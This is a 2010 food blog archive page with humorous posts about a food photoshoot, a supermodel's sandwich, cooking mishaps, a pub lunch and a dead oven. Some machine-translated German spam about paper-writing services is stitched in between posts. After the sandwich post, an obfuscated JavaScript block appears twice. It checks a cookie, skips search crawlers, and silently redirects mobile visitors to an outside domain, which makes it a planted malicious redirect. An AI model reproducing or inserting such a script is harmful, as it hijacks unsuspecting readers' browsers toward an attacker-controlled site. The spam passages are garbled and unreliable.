Monthly Archives: February 2010

It’s a tough job, but…

As an antidote to London Fashion Week, I thought I’d take you behind the scenes of a food photoshoot, where bellies are rubbed, not sucked in, and where mouths salivate rather than pout.

The rules

Rule one: food can be photogenic or otherwise, much like people. A ripe, rosy plum will be a natural in front of the camera, requiring only a bowl to sit in, some fellow plums for company, and favourable lighting. Life’s plainer ingredients, however, need tarting and gussying up like the mother of the bride in order to shine. The difference, of course, is that food will never writhe, smile more widely, or respond to calls of ‘lovely, that’s great, keep it going, you’re a confident, fierce bratwurst!’ It’s up to the team to sex up those pesky German sausages.

The team

The Photographer: usually a surprisingly skinny man.

How to spot him: the only one not making primitive ‘mmm’ and ‘aah’ noises – he’s not gazing longingly at the food; he’s looking at the light. Like a ripening pear whose flesh melts to mush in the time it takes for you to run to the kitchen and grab a knife, the light will tease your photographer, changing by the minute, every passing cloud or sunbeam frustrating his efforts. The only person in the room who understands the challenge he faces is…

Continue reading

Vorbereitung mein Stuck Papier in diesem Fall ideal Hochschul altmodischen Papier Publishing Pflege uber das Internet! Forschung Papier schriftlich esc aus dem Internet Schreiben center SUNY Reich Zustand Universitat

Real-Mensch Art mit auf Ihrer eigenen technologischen Namen homo sapiens-Freund praktische-da GroßHirn Fahigkeiten sehr entscheidend, dass Sie unsere jeden Tag Tag-zu-Tag-Leben und unsere Empfindung selbst.

Vorbereitung mein Stuck Papier in diesem Fall ideal Hochschul altmodischen Papier Publishing Pflege uber das Internet! Forschung Papier schriftlich esc aus dem Internet Schreiben center SUNY Reich Zustand Universitat

Die Branche von Menschen gemacht Intelligenz oder AI, versucht vollstandig verstehen klug Organisationen. Continue reading

Finally: a sarnie that ‘tastes as good as thin feels’?!

Just reading about London Fashion Week makes me feel hungry – any mention of food that manages to make it past the censors is still delivered to us squeezed of all joy. As reported in Grazia: Hovis has teamed up with supermodel Erin O’Connor to make the perfect LFW sandwich. Delightful – and, must I say, very generous of the Hovis PR department. This mysterious sandwich begged the question: perfect how? Perfect being the perfect New Clutch, a must-have foil to florals this season? Or perfect as in exquisitely balanced on a nutritional knife edge, providing just the right amount of energy to keep the models standing and fully conscious simultaneously?

Well, blow me down with a Ryvita and Diet Coke, what a strange combination Erin and the Hovis team came up with. Sunblush tomatoes. Smoked salmon. Avocadoes. Not overtly disgusting, nor stupidly complicated, more the gastronomic equivalent of getting dressed in the dark. It’s a sarnie predictable enough to get the Pavlovian juices of the average Hovis punter flowing and posh enough to sound as if it might fit into this dark glasses- and Louboutin-clad world. But all three together? Who would pick that combination as their perfect sandwich?

What lesson have we learned today people? Never ask a model to design a sandwich.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

First time lucky

The more I cook, the more I realise that my progress always peaks at attempt number one, then charts a steady downward curve  each time I return to that dish, rather like a soufflé leaves the oven a dome of fluffy perfection and steadily shrugs into itself while it waits to be served.

This phenomenon does little for my self-esteem as it warps my perception of myself as a cook. One nondescript weekday evening, I might effortlessly pull off a star-studded three-course meal and present it with a flourish to my unsuspecting Spaniard. When this happens, I spend the whole meal in a cocoon of wonder and self-adulation, imagining the cooking career that can’t fail to stretch ahead of me. I recount to my poor boyfriend the unbelievable ease with which the lipsmacking food was prepared. I give each new dish on the block a gold star and mark it as a candidate for Things To Cook For Friends. I mentally file tips that could one day furnish the dreams of lesser aspiring gastronomes.

When said friends do come over to eat, I’m secretly so far beyond smug it’s just a blur in my rear view mirror. In my head, we’ve finished the meal and I’m receiving my food Oscar and delivering a tearful acceptance speech. Perhaps I’m so keen for the food to live up to the inward hype I’ve created that I can’t help but mess it up. Perhaps my swagger causes my hand to slip, making the cooking sloppy. Whatever it is, the dish is never as good the second time round, and the quality just deteriorates from then on.

Now, we’ve heard of body dysmorphia and even muscle dysmorphia. But could I be the first British woman to be suffering from – gasp – culinary dysmorphia? Are there other silent sufferers out there, all, like me, believing they’re great cooks when in fact they’re just foodie flukes?

Continue reading

Raising the white flag

Sunday lunch with the family at the Prince Regent pub on Marylebone High Street. By the time we arrived, we weren’t in the mood for discerning – we’d been walking for three hours, and as soon as we turned onto the high street we dove, tongues first, into the first pub we saw.

There are times when I can shamelessly ferry my family from one deserving eatery to the next for half an hour or more until I find somewhere that looks like it’s been waiting to feed me and only me all its life. The trick is to stay one step ahead of your companions, so that you can always point a few hundred yards further along the street and say, ‘Shall we just check out the lunches at that place?’ Before you know it, you’re in Surrey and it’s dinner time.

This, however, was not one of those occasions. My dad was through the door so fast it was as if he’d seen Dale Winton running towards him with a bunch of flowers. Without further ado, we followed him, squashed ourselves onto the low magenta thrones and wordlessly glugged mulled cider while we waited anxiously for the waitress to bring sustenance.

Despite the pub’s promising location, I could tell this was going to be a gastropub-by-numbers experience. Exhibit A: the sharing platter apparently designed by a gap-year student fresh from an inter-continental jaunt, with its deep-fried coconut and chilli prawns jostling next to falafel, and spicy barbecue chicken wings snuggling up to the obligatory blob of hummus.

Exhibit B: the board offering these delights was painted with that precise, white script you see in gastropubs all over England – bold, fat letters that set alarm bells ringing in a restaurant-lover’s head as quickly as word-perfect homework does in a teacher’s.

Continue reading

My kingdom for an element!

Sadly, what was one death in 2010 has turned into a spate of deaths. Not three weeks after the untimely demise of my sourdough starter for two, the oven developed sympathy pains and has now also given up the ghost.

Luckily for me, that faithful oven showed in near-death the dignity that it had in life, not turning itself off until my courgette and hazelnut cake had reached the safety of fluffy perfection. After performing the obligatory series of female responses to electrical failures of this ilk – opening the oven door and peering inside, turning the oven off and on again, switching it off at the mains, venturing slightly further inside the oven in case I’d missed something first time round – I reached for the instruction manual.

Ha! I’m teasing – of course I didn’t. It’s all Geek to me. Instead, I scoured the internet and managed to pinpoint the problem, a broken element, using the online equivalent of a Dummy’s Guide to Malfunctioning Ovens. Not having the mettle to actually repair the damn thing myself, I then paid somebody to come and ‘diagnose’ the oven. Diagnosis involved me paying a man in a boiler suit thirty-five pounds to agree with me about the element.

So, tonight is the eve of the big repair. I’ve been in cooking exile for more than twelve days, and it’s been as restrictive as a diet – not because I’ve struggled to find things to cook on the hob, but because, like restrictive diets, all I can think about eating is the food I can’t have. The biting frost has left me hankering after a rib-sticker of a casserole followed by a heavy-bottomed English pud. When friends came over for dinner, I salivated before the mirage of a Sunday roast chased down with apple pie. I’ve been comfort feeding the new sourdough starter and gushing to it about the great loaves it will make in the future as it shivers and sulkily kicks its heels on the top shelf of my fridge. The closest I got to baking was when I licked Nigel’s Fig and walnut cake in the Observer Magazine. It’s like being on the wagon and taking an unexpected detour through Glenfiddich.

Continue reading